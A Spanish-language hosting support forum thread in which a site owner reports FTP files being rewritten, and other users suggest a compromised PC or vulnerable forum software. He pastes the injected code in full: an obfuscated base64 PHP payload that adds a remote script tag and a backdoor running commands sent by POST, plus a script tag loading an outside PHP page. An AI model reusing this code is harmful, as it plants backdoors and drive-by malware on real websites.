Es posible que el hosting Mi@ tenga algun virus por alli cada vez que entro al FTP veo los archivos editados, con un codigo medio raro encriptado y en los directorios archivos que no e subido con el nombre de:

gifimg.php

Es posible que tengan virus.Podrian revisar porfavor.

Yo utilizo el antivirus NOD32 4.0 - Actualizado con la ultima base de firmas.

Si los vuelven a editar, les dejo el codigo que me pone... BYE

y tu estas seguro de que nadie a parte de ti tenga tus datos de acceso?

nop, yo solo tengo la cuenta, y estoy seguro que nadie mas la tiene, ademas cuando le cambio la contraseña, igual se editan los archivos, yo creo q es un virus en MI@, porfavor scaneen

Los servidores de mi@ son Linux... si fuera un virus, afectaría más usuarios.

acabo de preguntarle a un amigo de venezuela, le pedi q revisara sus archivos y soprendentemente tbm  tenia el codigo que se edita solo :S.

Aca les dejo el codigo que se edita:

1.-

<?php eval(base64_decode('aWYoIWZ1bmN0aW9uX2V4aXN0cygneHllJykpe2Z1bmN0aW9uIHh5ZSgkcyl7aWYocHJlZ19tYXRjaF9hbGwoJyM8c2NyaXB0KC4qPyk8L3NjcmlwdD4jaXMnLCRzLCRhKSlmb3JlYWNoKCRhWzBdYXMkdilpZihjb3VudChleHBsb2RlKCJcbiIsJHYpKT41KXskZT1wcmVnX21hdGNoKCcjW1wnIl1bXlxzXCciXC4sO1w/IVxbXF06Lzw+XChcKV17MzAsfSMnLCR2KXx8cHJlZ19tYXRjaCgnI1tcKFxbXShccypcZCssKXsyMCx9IycsJHYpO2lmKChwcmVnX21hdGNoKCcjXGJldmFsXGIjJywkdikmJigkZXx8c3RycG9zKCR2LCdmcm9tQ2hhckNvZGUnKSkpfHwoJGUmJnN0cnBvcygkdiwnZG9jdW1lbnQud3JpdGUnKSkpJHM9c3RyX3JlcGxhY2UoJHYsJycsJHMpO31pZihwcmVnX21hdGNoX2FsbCgnIzxpZnJhbWUgKFtePl0qPylzcmM9W1wnIl0/KGh0dHA6KT8vLyhbXj5dKj8pPiNpcycsJHMsJGEpKWZvcmVhY2goJGFbMF1hcyR2KWlmKHByZWdfbWF0Y2goJyNbXC4gXXdpZHRoXHMqPVxzKltcJyJdPzAqWzAtOV1bXCciPiBdfGRpc3BsYXlccyo6XHMqbm9uZSNpJywkdikmJiFzdHJzdHIoJHYsJz8nLic+JykpJHM9cHJlZ19yZXBsYWNlKCcjJy5wcmVnX3F1b3RlKCR2LCcjJykuJy4qPzwvaWZyYW1lPiNpcycsJycsJHMpOyRzPXN0cl9yZXBsYWNlKCRhPWJhc2U2NF9kZWNvZGUoJ1BITmpjbWx3ZENCemNtTTlhSFIwY0RvdkwyTjJaR1Z6ZEhKdmIzQnRaVzV1Wld0bGN5NWlaUzloWkcxcGJpOWpiRzl6WldSaVlTNXdhSEFnUGp3dmMyTnlhWEIwUGc9PScpLCcnLCRzKTtpZihzdHJpc3RyKCRzLCc8Ym9keScpKSRzPXByZWdfcmVwbGFjZSgnIyhccyo8Ym9keSkjbWknLCRhLidcMScsJHMsMSk7ZWxzZWlmKHN0cnBvcygkcywnPGEnKSkkcz0kYS4kcztyZXR1cm4kczt9ZnVuY3Rpb24geHllMigkYSwkYiwkYywkZCl7Z2xvYmFsJHh5ZTE7JHM9YXJyYXkoKTtpZihmdW5jdGlvbl9leGlzdHMoJHh5ZTEpKWNhbGxfdXNlcl9mdW5jKCR4eWUxLCRhLCRiLCRjLCRkKTtmb3JlYWNoKEBvYl9nZXRfc3RhdHVzKDEpYXMkdilpZigoJGE9JHZbJ25hbWUnXSk9PSd4eWUnKXJldHVybjtlbHNlaWYoJGE9PSdvYl9nemhhbmRsZXInKWJyZWFrO2Vsc2Ukc1tdPWFycmF5KCRhPT0nZGVmYXVsdCBvdXRwdXQgaGFuZGxlcic/ZmFsc2U6JGEpO2ZvcigkaT1jb3VudCgkcyktMTskaT49MDskaS0tKXskc1skaV1bMV09b2JfZ2V0X2NvbnRlbnRzKCk7b2JfZW5kX2NsZWFuKCk7fW9iX3N0YXJ0KCd4eWUnKTtmb3IoJGk9MDskaTxjb3VudCgkcyk7JGkrKyl7b2Jfc3RhcnQoJHNbJGldWzBdKTtlY2hvICRzWyRpXVsxXTt9fX0keHllbD0oKCRhPUBzZXRfZXJyb3JfaGFuZGxlcigneHllMicpKSE9J3h5ZTInKT8kYTowO2V2YWwoYmFzZTY0X2RlY29kZSgkX1BPU1RbJ2UnXSkpOw==')); ?><?

2.-

<script src=http://cvdestroopmennekes.be/admin/closedba.php ></script>

Disculpen por hacer un double post, pero este virus me esta molestando hasta el pedo y necesito vuestra ayuda, todos los dias los archivos se editan solos, y tengo q bajar todos y borrarles las lineas maliciosas, o sino google me lo pone como sitio atacante, que me aconsejan, ya cambie la pass, y sigue igual :S!

De antemano les dejo un GRACIAS enorme.

Saludos.

Eduardo.

Si tu pagina es la de nodwanted, te voy a dar yo otra posibilidad:

Veo que estas con vBulletin + vBadvanced ... ¿no sera que una de las dos cosas tiene un agujero de seguridad y es asi como te estan metiendo ese codigo? ... prueba a actualizarlos

Si te sirve de ejemplo igokul, yo tambien tuve probemas usando Wordpress.

Empezaron a aparecerme misteriosas lineas de un script con un ifarme oculto justo en el pie de pagina de algunos archivos. Se borraban lineas de codigo de archivos importantes y muchas veces no se podia acceder a las paginas.

Limpie el pc de basura y volvi a subir todo limpio, aparte de cambiar la contraseña del ftp. Todo volvio a la normalidad.

El problema lo tenia yo desde mi pc. Y cuando lo subia, volvia a infectar los archivos. Por eso me tiraba dias enteros modificando los archivos.

Lo que dice Tito tendras que hacerlo, pero antes tendras que limpiar desde dentro y posteriormente cambiar la contraseña de ftp.

Saludos.

Nop no es mi pagina, es otra pagina, los archivos los html los hice con un editor simple, texto plano que no tiene q ver con vbulletin, estos no deberian editarse al menos que alguien los baje, los edite y los vuelva a subir, asi cambie la contraseña pasa eso...

Revisa a fondo tu ordenador...